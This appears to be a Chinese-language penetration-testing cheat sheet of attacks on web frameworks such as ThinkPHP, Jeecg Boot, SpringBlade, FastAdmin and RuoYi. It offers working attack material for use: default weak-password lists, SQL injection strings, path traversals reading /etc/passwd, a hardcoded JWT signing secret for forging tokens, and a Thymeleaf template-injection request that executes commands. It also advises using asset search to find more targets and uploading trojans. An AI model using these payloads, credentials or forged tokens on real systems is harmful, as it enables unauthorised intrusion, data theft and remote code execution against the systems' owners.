vue
找未授权的工具
插件扫描superSearchPlus
https://github.com/dark-kingA/superSearchPlus
破解Vue.js devtools
Vue.js devtools
Github下载地址:https://github.com/vuejs/vue-devtools/tree/v5.1.1
寻找未授权的地方
一般都在js文件夹里面的app.******.js文件里,点击调试器,选中app.*********.js文件,全局搜索快捷键Ctrl+F,再点击下面的{}符号,就能很舒服的看到所有路径目录。
1.如果有弹窗的时候
找到这个这个弹窗css删除掉
2.直接找到没有权限的包 手动改code码 ok继续
thinkphp
师傅们,可以用这个工具先检测有没有漏洞
https://github.com/Lotus6/ThinkphpGUI
找到漏洞了以后
可以使用Google浏览器进行检索这个漏洞 的打法
Thinkphp 站点常见的弱口令
sysadmin:sysadmin123
admin:admin
admin:admin123
admin:123456
admin:admin@123
admin:1qaz@WSX
test:test
进入系统以后,可以尝试一下sql注入和xss
1' and if(1,sleep(5),3)--+
1" and if(1,sleep(5),3)--+
1) and if(1,sleep(5),3)--+
1 and if(1,sleep(5),3)--+
我们也可以去找一下文件上传点,看看他是什么编码组成的,然后在尝试上传木马
jeecg boot
可以先用工具扫一下
https://github.com/K-7H7l/Jeecg_Tools
使用命令
java -jar Jeecg_Tools-1.0-SNAPSHOT-jar-with-dependencies.jar
登录接口 /sys/loginnday的接口
/jmreport/queryFieldBySql
/jmreport/loadTableData/sys/dict/queryTableData可以执行sql注入
/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA
webpack
工具https://github.com/rtcatc/Packer-Fuzzer
第一种 爆500 该类型
Content-Type:application/json
第二种 爆500 添加缺少的参数
1.F12时,查看在生成js,可能会有一个
通过相关工具,可以将.map文件还原成源代码,然后进行源代码审计,发现漏洞。
2.接口的爬取
方法:1, 可以直接使用工具快速进行API接口的提取,
2,使用FindSomething浏览器插件提取敏感信息和接口
3,手动分析源代码,编写脚本提取JS文件路径,然后使用脚本访问JS文件,进行接口提取
有二种类型
四位数.八位字符.js和chunk-vendors.八位字符.js
方:1:
我们可以先去搜索后面的数字,查看他的位置,然后拼接别的
然后我们就可以去问ai,写一个提取py脚本
在http://xxx/appjs这个js文件中,有一段字符:login:”2238b495″,根据这段字符写一个正则匹配,然后匹配js文件中所有符合这种格式的字符串,然后提取出来,拼接成:login.2238b495.js这种格式,然后再拼接到http://xxx/上进行访问
方法2:
不清楚js文件的路径是如何组成的,不知道特征长啥样,全局搜索也搜索不到,这时候需要进行断点调试,将路径调试出来
一般在/static/js/
/static/js/路径后面拼接了一个e变量,而这个变量是以形参传入的,因此如果去翻文件找的话是不太现实的
所以我们可以直接在这里打个断点,然后在重新刷新页面
让程序往下运行一步:可以看到e的值 92xx
继续:在运行一步,路径就出来了:static/js/92xx.xxxxx.js
spring boot
如果发现https://aa.com/api/xxx类似接口,果断使用onescan插件扫描springboot敏感目录
heapdump
签名GET /api/actuator/heapdump HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:101.0) Gecko/20100101 Firefox/101.0
Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJ3ZWIiLCJpc3MiOiJ5YW5odW8iL
Springblade框架

https://bladex.vip
,此时我们就可以将这个地址放到fofa上去扩大资产
blade
,这个字段,也基本可以确定是blade框架/api/blade-user/info /api/blade-auth/oauth/captcha blade-system
.....
/oaApi/blade-system/menu/buttons
/oaApi/blade-system/user/user-list 泄露信息
/oaApi/blade-resource/oss/list
泄露云服务key 我们看使用OSS Browser工具,使用cname进行连接 下载地址:https://github.com/aliyun/oss-browser
常见的端口
/api/blade-system/user/user-list
/api/blade-system/tenant/select
/api/blade-develop/datasource/list
/api/blade-resource/oss/list
/api/blade-develop/datasource/list
/api/blade-system/code/remove
/api/blade-resource/oss/remove
/api/blade-system/dict-biz/remove
/authority/role/add
/system/dict/add
.......
SQL注入
/oaApi/blade-log/error/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1
其他地方也可以尝试
jwt硬编码
bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject
上面的密钥放到指示的位置,然后修改payload里的字段,因为服务器都是通过这个payload中的字段进行鉴权的,所以通过修改payload中的字段,来达到伪造jwt欺骗服务器
FASTadmin
FastAdmin是一个基于ThinkPHP5和Bootstrap的后台开发框架,支持权限管理、响应式开发、多语言、模块化开发、CRUD和自由可扩展等功能
前台任意文件读取漏洞
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
ruoyi系统
若依RuoYi系统是一套基于SpringBoot的权限管理系统,核心技术采用Spring、MyBatis、Shiro
默认弱口令
admin/admin123admin/admin
admin/123456
ruoyi/ruoyi
admin/admin888
ruoyi/123456
也可以使用工具
https://github.com/thelostworldFree/Ruoyi-All
https://github.com/charonlight/RuoYiExploitGUI
druid目录探测
未授权:/druid/index.html
/druid/login.html
也可能在api下
/prod-api/druid/login.html
/dev-api/druid/login.html
常见的路径
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html
然后就通过网上的弱口令进去尝试
1.任意文件读取 RuoYi<4.5.1
/common/download/resource?resource=/profile/../../../../../../../etc/passwd
2.任意文件读取2 RuoYi<4.7.6
3.sql注入 RuoYi< 4.6.2
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
4.sql注入2 4.7.0<x<4.7.5
sql=create/**/table/**/test/**/as/**/select/**/database()
5.后台计划任务 <= 4.6.2
git clone https://github.com/artsploit/yaml-payload
6.后台计划任务2 4.6.2 < Ruoyi < 4.7.2
7.thymeleaf 模板注入 RuoYi <= v4.7.1
payload
POST /monitor/cache/getNames HTTP/1.1
accept: */*
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219
cacheName=1&fragment=((${T (java.lang.Runtime).getRuntime().exec("gnome-calculator")}))
部分编码
cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%
67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29
8.jdbc template sql注入
9.shiro命令执行
直接用工具跑